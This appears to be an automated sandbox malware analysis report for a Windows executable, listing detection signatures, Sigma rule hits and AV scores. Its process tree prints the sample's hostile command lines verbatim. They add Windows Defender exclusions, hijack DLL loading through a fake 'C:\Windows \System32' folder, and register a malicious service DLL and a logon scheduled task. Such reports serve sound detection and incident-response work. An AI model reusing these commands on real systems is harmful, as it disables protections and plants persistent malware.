Edit tour

Windows Analysis Report
58VSNPxrI4.exe

Overview

General Information

Sample name:	58VSNPxrI4.exe renamed because original name is a hash value
Original sample name:	228c09c31156d45dfe94195bb34d1399.exe
Analysis ID:	1578892
MD5:	228c09c31156d45dfe94195bb34d1399
SHA1:	20c6ce4757be1399032b2ac6873dc505c1d02839
SHA256:	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Benign windows process drops PE files

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: TrustedPath UAC Bypass Pattern

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates a Windows Service pointing to an executable in C:\Windows

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of debugger detection

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Self deletion via cmd or bat file

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious New Service Creation

Uses schtasks.exe or at.exe to add and modify task schedules

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

58VSNPxrI4.exe (PID: 3576 cmdline: "C:\Users\user\Desktop\58VSNPxrI4.exe" MD5: 228C09C31156D45DFE94195BB34D1399)

cmd.exe (PID: 5372 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4464 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5964 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3020 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6064 cmdline: cmd.exe /c mkdir "\\?\C:\Windows \System32" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3032 cmdline: cmd.exe /c start "" "C:\Windows \System32\printui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

printui.exe (PID: 3580 cmdline: "C:\Windows \System32\printui.exe" MD5: 2FC3530F3E05667F8240FC77F7486E7E)

cmd.exe (PID: 3392 cmdline: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6896 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7108 cmdline: cmd.exe /c sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f && sc start x939048 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7056 cmdline: sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

reg.exe (PID: 6792 cmdline: reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

sc.exe (PID: 6856 cmdline: sc start x939048 MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3380 cmdline: cmd.exe /c start "" "C:\Windows\System32\console_zero.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

console_zero.exe (PID: 6512 cmdline: "C:\Windows\System32\console_zero.exe" MD5: 4ECCB8F5D1EDCF18A11ABED91FF85C46)

cmd.exe (PID: 4320 cmdline: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7124 cmdline: schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 2544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5708 cmdline: cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 3884 cmdline: timeout /t 14 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 2216 cmdline: cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows \System32\printui.dll" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7040 cmdline: timeout /t 16 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 5608 cmdline: cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\58VSNPxrI4.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5420 cmdline: timeout /t 10 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

svchost.exe (PID: 6848 cmdline: C:\Windows\System32\svchost.exe -k DcomLaunch MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 7160 cmdline: cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3576 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5736 cmdline: cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4320 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 3684 cmdline: cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7160 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'E:\' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5420 cmdline: cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3364 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'F:\' MD5: 04029E121A0CFA5991749937DD22A1D9)

console_zero.exe (PID: 6792 cmdline: C:\Windows\System32\console_zero.exe MD5: 4ECCB8F5D1EDCF18A11ABED91FF85C46)

cmd.exe (PID: 6756 cmdline: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5864 cmdline: schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cleanup

Sigma Signatures

System Summary

Sigma detected: TrustedPath UAC Bypass Pattern

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows \System32\printui.exe" , CommandLine: "C:\Windows \System32\printui.exe" , CommandLine|base64offset|contains: , Image: C:\Windows \System32\printui.exe, NewProcessName: C:\Windows \System32\printui.exe, OriginalFileName: C:\Windows \System32\printui.exe, ParentCommandLine: cmd.exe /c start "" "C:\Windows \System32\printui.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3032, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows \System32\printui.exe" , ProcessId: 3580, ProcessName: printui.exe

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\58VSNPxrI4.exe, ProcessId: 3576, TargetFilename: C:\Windows \System32\printui.dll

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f, CommandLine: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\console_zero.exe" , ParentImage: C:\Windows\System32\console_zero.exe, ParentProcessId: 6512, ParentProcessName: console_zero.exe, ProcessCommandLine: cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f, ProcessId: 4320, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'", CommandLine: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\58VSNPxrI4.exe", ParentImage: C:\Users\user\Desktop\58VSNPxrI4.exe, ParentProcessId: 3576, ParentProcessName: 58VSNPxrI4.exe, ProcessCommandLine: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'", ProcessId: 5372, ProcessName: cmd.exe

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine: sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd.exe /c sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f && sc start x939048, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , ProcessId: 7056, ProcessName: sc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine: sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd.exe /c sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f && sc start x939048, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto , ProcessId: 7056, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'", CommandLine: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5372, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'", ProcessId: 4464, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k DcomLaunch, CommandLine: C:\Windows\System32\svchost.exe -k DcomLaunch, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k DcomLaunch, ProcessId: 6848, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Windows \System32\printui.dll	ReversingLabs: Detection: 31%
Source: C:\Windows\System32\console_zero.exe	ReversingLabs: Detection: 42%
Source: C:\Windows\System32\x939048.dat	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: 58VSNPxrI4.exe	Virustotal: Detection: 45%			Perma Link
Source: 58VSNPxrI4.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 93.8% probability

Machine Learning detection for dropped file

Source: C:\Windows\System32\x939048.dat

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 58VSNPxrI4.exe

Joe Sandbox ML: detected

Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB422F50 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,	26_2_00007FFBAB422F50
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4242D0 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,CRYPTO_strdup,OPENSSL_LH_new,OPENSSL_LH_set_thunks,ERR_new,X509_STORE_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,OPENSSL_sk_num,ERR_new,OPENSSL_sk_new_null,ERR_new,OPENSSL_sk_new_null,ERR_new,CRYPTO_new_ex_data,ERR_new,RAND_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,	26_2_00007FFBAB4242D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42DAA0 CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_set_error,X509_VERIFY_PARAM_new,ERR_new,ERR_set_debug,ERR_set_error,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_memdup,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_set_error,	26_2_00007FFBAB42DAA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42ABF0 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	26_2_00007FFBAB42ABF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB446BB0 CRYPTO_malloc,	26_2_00007FFBAB446BB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB462BA0 OPENSSL_LH_retrieve,CRYPTO_zalloc,CRYPTO_free,OPENSSL_LH_insert,OPENSSL_LH_insert,OPENSSL_LH_retrieve,OPENSSL_LH_insert,OPENSSL_LH_insert,	26_2_00007FFBAB462BA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB418C60 EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memset,	26_2_00007FFBAB418C60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB412C60 CRYPTO_zalloc,CRYPTO_free,	26_2_00007FFBAB412C60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB49CC60 BN_bin2bn,ERR_new,ERR_set_debug,BN_ucmp,BN_is_zero,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB49CC60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45AC50 CRYPTO_zalloc,OSSL_ERR_STATE_new,CRYPTO_free,	26_2_00007FFBAB45AC50
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41CAB0 X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,	26_2_00007FFBAB41CAB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42AAD0 CRYPTO_set_ex_data,	26_2_00007FFBAB42AAD0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB490AD0 CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB490AD0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41CB70 CRYPTO_zalloc,CRYPTO_zalloc,CRYPTO_free,EVP_PKEY_up_ref,X509_up_ref,EVP_PKEY_up_ref,X509_chain_up_ref,CRYPTO_memdup,CRYPTO_malloc,memcpy,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_malloc,memcpy,CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup,	26_2_00007FFBAB41CB70
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB478B90 BIO_free,BIO_free,BIO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,OPENSSL_cleanse,CRYPTO_free,	26_2_00007FFBAB478B90
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB488B90 CRYPTO_free,CRYPTO_memdup,	26_2_00007FFBAB488B90
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45AB80 CRYPTO_free,	26_2_00007FFBAB45AB80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41AB80 ERR_new,ERR_set_debug,ERR_set_error,ASN1_item_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,X509_free,EVP_PKEY_free,d2i_PUBKEY_ex,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ASN1_item_free,	26_2_00007FFBAB41AB80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB43CB80 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB43CB80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47CB30 EVP_MD_get_size,ERR_new,ERR_set_debug,EVP_MD_CTX_new,EVP_DigestInit_ex,EVP_DigestFinal_ex,EVP_DigestInit_ex,ERR_new,ERR_set_debug,BIO_ctrl,ERR_new,ERR_set_debug,EVP_DigestUpdate,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_PKEY_new_raw_private_key_ex,ERR_new,ERR_set_debug,EVP_MD_get0_name,EVP_DigestSignInit_ex,EVP_DigestSignUpdate,EVP_DigestSignFinal,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_cleanse,OPENSSL_cleanse,EVP_PKEY_free,EVP_MD_CTX_free,	26_2_00007FFBAB47CB30
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB446B30 CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB446B30
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB490B30 CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_zalloc,CRYPTO_free,	26_2_00007FFBAB490B30
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB480B20 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,	26_2_00007FFBAB480B20
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46EB20 CRYPTO_free,	26_2_00007FFBAB46EB20
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4249F0 CRYPTO_memdup,CRYPTO_free,	26_2_00007FFBAB4249F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4969E0 CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,EVP_CIPHER_fetch,EVP_CIPHER_get_iv_length,RAND_bytes_ex,EVP_CIPHER_free,EVP_EncryptUpdate,EVP_EncryptFinal,ERR_new,EVP_CIPHER_free,ERR_new,CRYPTO_free,EVP_CIPHER_CTX_free,ERR_new,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get_iv_length,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,EVP_CIPHER_CTX_free,	26_2_00007FFBAB4969E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB43C9A0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB43C9A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4849C0 CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	26_2_00007FFBAB4849C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42E9C0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	26_2_00007FFBAB42E9C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46AA70 CRYPTO_realloc,	26_2_00007FFBAB46AA70
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB424A72 CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB424A72
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB476A60 ERR_new,ERR_set_debug,SetLastError,BIO_write,BIO_test_flags,BIO_test_flags,ERR_new,ERR_set_debug,CRYPTO_free,	26_2_00007FFBAB476A60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB444A60 ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,BN_clear_free,	26_2_00007FFBAB444A60
